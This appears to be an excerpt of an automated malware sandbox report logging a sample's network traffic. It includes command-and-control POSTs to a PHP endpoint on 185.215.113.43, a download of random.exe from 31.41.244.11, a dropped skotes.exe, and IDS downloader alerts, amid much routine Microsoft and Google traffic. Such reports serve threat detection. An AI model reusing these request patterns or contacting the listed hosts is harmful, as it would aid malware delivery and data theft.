------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBGHCGCBKFIECBFHIDG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 34 32 37 37 34 42 31 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B42774B15882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49825 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49955 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:52184 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 32_2_00FFBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

32_2_00FFBE30

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239391074267_1LFWW0OVV8A8XLNH1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239391074266_1FC7YWZ4JCQ2TYVA7&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239317301257_1V7UFS3KR429ZBZW8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381877257_1ABR0ZMHI2BWVS3EY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381877256_198YE57VZVEUAHBD7&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239317301666_1OXPU2W8OTP7BGNK2&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k92Ep6cowWhcr6X&MD=TXH5N2lk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /work/api/v2/tenant/my/settingswithflights?&clienttype=edge-omnibox HTTP/1.1Host: business.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/user/token/microsoftgraph?&clienttype=edge-omnibox HTTP/1.1Host: business.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
